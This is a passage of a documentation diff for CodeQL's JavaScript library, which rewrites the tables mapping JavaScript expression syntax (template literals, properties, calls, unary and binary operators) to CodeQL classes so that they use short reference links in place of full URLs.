<https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateLiteral.html>`__ | | an element in a `TemplateLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateLiteral.html>`__ is either a `TemplateElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateElement.html>`__ representing a constant template element, or some other expression representing an interpolated expression of the form ``${`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``}`` | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ````` ... ````` | `TaggedTemplateExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TaggedTemplateExpr.html>`__ | | an element in a `TaggedTemplateExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TaggedTemplateExpr.html>`__ is either a `TemplateElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateElement.html>`__ representing a constant template element, or some other expression representing an interpolated expression of the form ``${`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``}`` | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Expression syntax | CodeQL class | Superclasses | Remarks | ++=============================================================+=====================+==============+============================================================================================================================================================================================================+ +| ``this`` | ThisExpr_ | | | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``[`` Expr_... ``]`` | ArrayExpr_ | | | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``{`` Property_... ``}`` | ObjectExpr_ | | | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``function`` ``(`` Parameter_... ``)`` ``{`` Stmt_... ``}`` | FunctionExpr_ | Function_ | | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``(`` Parameter_... ``)`` ``=>`` Expr_ | ArrowFunctionExpr_ | Function_ | | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``(`` Expr_ ``)`` | ParExpr_ | | | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ````` ... ````` | TemplateLiteral_ | | an element in a TemplateLiteral_ is either a TemplateElement_ representing a constant template element, or some other expression representing an interpolated expression of the form ``${`` Expr_ ``}`` | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Expr_ ````` ... ````` | TaggedTemplateExpr_ | | an element in a TaggedTemplateExpr_ is either a TemplateElement_ representing a constant template element, or some other expression representing an interpolated expression of the form ``${`` Expr_ ``}`` | ++-------------------------------------------------------------+---------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Properties ~~~~~~~~~~ -All classes in this subsection are subclasses of `Property <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__. Note that `Property <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__ is not a subclass of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__. +All classes in this subsection are subclasses of Property_. Note that Property_ is not a subclass of Expr_. -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| Property syntax | CodeQL class | Superclasses | -+=====================================================================================================================================================================================================================================================================================================================================================================+========================================================================================================================+============================================================================================================================+ -| `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``:`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `ValueProperty <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ValueProperty.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| ``get`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``()`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `PropertyGetter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyGetter.html>`__ | `PropertyAccessor <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| ``set`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``(`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``)`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `PropertySetter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertySetter.html>`__ | `PropertyAccessor <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ ++------------------------------------------------------------------+-----------------+-------------------+ +| Property syntax | CodeQL class | Superclasses | ++==================================================================+=================+===================+ +| Identifier_ ``:`` Expr_ | ValueProperty_ | | ++------------------------------------------------------------------+-----------------+-------------------+ +| ``get`` Identifier_ ``()`` ``{`` Stmt_... ``}`` | PropertyGetter_ | PropertyAccessor_ | ++------------------------------------------------------------------+-----------------+-------------------+ +| ``set`` Identifier_ ``(`` Identifier_ ``)`` ``{`` Stmt_... ``}`` | PropertySetter_ | PropertyAccessor_ | ++------------------------------------------------------------------+-----------------+-------------------+ Property accesses ~~~~~~~~~~~~~~~~~ -All classes in this subsection are subclasses of `PropAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropAccess.html>`__. +All classes in this subsection are subclasses of PropAccess_. -+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | -+=========================================================================================================================================================================================================================+==============================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``.`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ | `DotExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$DotExpr.html>`__ | -+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``[`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``]`` | `IndexExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$IndexExpr.html>`__ | -+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------+ ++-------------------------+--------------+ +| Expression syntax | CodeQL class | ++=========================+==============+ +| Expr_ ``.`` Identifier_ | DotExpr_ | ++-------------------------+--------------+ +| Expr_ ``[`` Expr_ ``]`` | IndexExpr_ | ++-------------------------+--------------+ Function calls and ``new`` ~~~~~~~~~~~~~~~~~~~~~~~~~~ -All classes in this subsection are subclasses of `InvokeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$InvokeExpr.html>`__. +All classes in this subsection are subclasses of InvokeExpr_. -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Remarks | -+============================================================================================================================================================================================================================================================================================================================================+========================================================================================================================+==========================================================================================================================================================================================================================================================================================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__... ``)`` | `CallExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CallExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``.`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__... ``)`` | `MethodCallExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$MethodCallExpr.html>`__ | this also includes calls of the form `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``[`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``]`` ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__... ``)`` | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``new`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__... ``)`` | `NewExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NewExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++-----------------------------------------------+-----------------+-----------------------------------------------------------------------------------+ +| Expression syntax | CodeQL class | Remarks | ++===============================================+=================+===================================================================================+ +| Expr_ ``(`` Expr_... ``)`` | CallExpr_ | | ++-----------------------------------------------+-----------------+-----------------------------------------------------------------------------------+ +| Expr_ ``.`` Identifier_ ``(`` Expr_... ``)`` | MethodCallExpr_ | this also includes calls of the form Expr_ ``[`` Expr_ ``]`` ``(`` Expr_... ``)`` | ++-----------------------------------------------+-----------------+-----------------------------------------------------------------------------------+ +| ``new`` Expr_ ``(`` Expr_... ``)`` | NewExpr_ | | ++-----------------------------------------------+-----------------+-----------------------------------------------------------------------------------+ Unary expressions ~~~~~~~~~~~~~~~~~ -All classes in this subsection are subclasses of `UnaryExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$UnaryExpr.html>`__. +All classes in this subsection are subclasses of UnaryExpr_. -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | -+===============================================================================================================+======================================================================================================================+ -| ``~`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `BitNotExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BitNotExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| ``-`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `NegExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NegExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| ``+`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `PlusExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PlusExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| ``!`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `LogNotExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LogNotExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| ``typeof`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `TypeofExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$TypeofExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| ``void`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `VoidExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$VoidExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| ``delete`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `DeleteExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$DeleteExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ -| ``...`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `SpreadElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$SpreadElement.html>`__ | -+---------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------+ ++-------------------+----------------+ +| Expression syntax | CodeQL class | ++===================+================+ +| ``~`` Expr_ | BitNotExpr_ | ++-------------------+----------------+ +| ``-`` Expr_ | NegExpr_ | ++-------------------+----------------+ +| ``+`` Expr_ | PlusExpr_ | ++-------------------+----------------+ +| ``!`` Expr_ | LogNotExpr_ | ++-------------------+----------------+ +| ``typeof`` Expr_ | TypeofExpr_ | ++-------------------+----------------+ +| ``void`` Expr_ | VoidExpr_ | ++-------------------+----------------+ +| ``delete`` Expr_ | DeleteExpr_ | ++-------------------+----------------+ +| ``...`` Expr_ | SpreadElement_ | ++-------------------+----------------+ Binary expressions ~~~~~~~~~~~~~~~~~~ -All classes in this subsection are subclasses of `BinaryExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BinaryExpr.html>`__. +All classes in this subsection are subclasses of BinaryExpr_. -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | -+======================================================================================================================================================================================================================+========================================================================================================================+====================================================================================================================================================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``*`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `MulExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$MulExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``/`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `DivExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$DivExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``%`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `ModExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ModExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``**`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `ExpExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ExpExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``+`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AddExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AddExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``-`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `SubExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$SubExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``<<`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `LShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LShiftExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``>>`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `RShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$RShiftExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``>>>`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `URShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$URShiftExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``&&`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `LogAndExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LogAndExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``||`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `LogOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LogOrExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``<`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `LTExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LTExpr.html>`__ | `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``>`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `GTExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$GTExpr.html>`__ | `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``<=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `LEExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$LEExpr.html>`__ | `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``>=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `GEExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$GEExpr.html>`__ | `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``==`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `EqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$EqExpr.html>`__ | `EqualityTest <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$EqualityTest.html>`__, `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``!=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `NEqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NEqExpr.html>`__ | `EqualityTest <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$EqualityTest.html>`__, `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``===`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `StrictEqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StrictEqExpr.html>`__ | `EqualityTest <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$EqualityTest.html>`__, `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``!==`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `StrictNEqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StrictNEqExpr.html>`__ | `EqualityTest <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$EqualityTest.html>`__, `Comparison <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Comparison.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``&`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `BitAndExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BitAndExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr 